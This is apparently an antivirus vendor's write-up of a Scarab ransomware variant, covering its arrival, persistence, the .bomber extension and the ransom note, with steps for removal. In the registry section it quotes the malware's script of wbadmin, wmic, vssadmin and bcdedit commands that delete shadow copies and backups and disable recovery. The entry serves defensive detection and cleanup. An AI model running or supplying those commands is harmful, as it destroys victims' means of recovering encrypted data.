RANSOM_SCARAB.THFBFAH
Trojan-Ransom.FileCoder (Ikarus), TR/AD.MalwareCrypter.cllrw (Antivir)
Windows
![](/vinfo/imgFiles/legend.jpg)
Threat Type: Ransomware
Destructiveness: No
Encrypted: Yes
In the wild: Yes
OVERVIEW
Dropped by other malware
This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
It executes then deletes itself afterward.
It is capable of encrypting files in the affected system.
It drops files as ransom note.
TECHNICAL DETAILS
512,000 bytes
EXE
UPX
Yes
20 Jun 2018
Arrival Details
This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Ransomware drops the following copies of itself into the affected system:
- %Application Data%\osk.exe
(Note: %Application Data% is the Application Data folder, where it usually is C:\Documents and Settings\{user name}\Application Data on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Roaming on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)
It executes then deletes itself afterward.
Autostart Technique
This Ransomware adds the following registry entries to enable its automatic execution at every system startup:
HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\RunOnce
OYTfqa = %Application Data%\osk.exe
Other System Modifications
This Ransomware adds the following registry keys:
HKEY_CURRENT_USER\Software\{Random1}
HKEY_CURRENT_USER\Software\OYTfqa
It adds the following registry entries as part of its installation routine:
HKEY_CURRENT_USER\Software\{Random1}
{Random2} = o=new ActiveXObject("WScript.Shell");o.Run("cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0",0);o.Run("cmd.exe /c wmic SHADOWCOPY DELETE",0);o.Run("cmd.exe /c vssadmin Delete Shadows /All /Quiet",0);o.Run("cmd.exe /c bcdedit /set {default} recoveryenabled No",0);o.Run("cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures",0);
HKEY_CURRENT_USER\Software\OYTfqa
temp = {Value}
Other Details
This Ransomware is capable of encrypting files in the affected system.
Ransomware Routine
This Ransomware renames encrypted files using the following names:
- {Location of encrypted file}\{encrypted filename}.bomber
It drops the following file(s) as ransom note:
- {Location of encrypted file}\КАК ВОССТАНОВИТЬ ЗА ИФ ОВАННЫ ФАЙЛЫ.TXT
SOLUTION
9.850
14.342.02
26 Jun 2018
14.343.00
27 Jun 2018
Step 1
Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Restart in Safe Mode
Step 4
Delete this registry key
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_CURRENT_USER\Software
- {Random1}
- {Random1}
- In HKEY_CURRENT_USER\Software
- OYTfqa
- OYTfqa
Step 5
Delete this registry value
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
- OYTfqa = %Application Data%\osk.exe
- OYTfqa = %Application Data%\osk.exe
Step 6
Search and delete this file
- {Location of encrypted file}\КАК ВОССТАНОВИТЬ ЗА ИФ ОВАННЫ ФАЙЛЫ.TXT
Step 7
Restart in normal mode and scan your computer with your Trend Micro product for files detected as RANSOM_SCARAB.THFBFAH. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.
Step 8
Restore encrypted files from backup.
NOTES:
Enable Windows Recovery Option:
Run cmd.exe as administrator
Type bcdedit /set {default} recoveryenabled yes then press Enter.
Did this description help? Tell us how we did.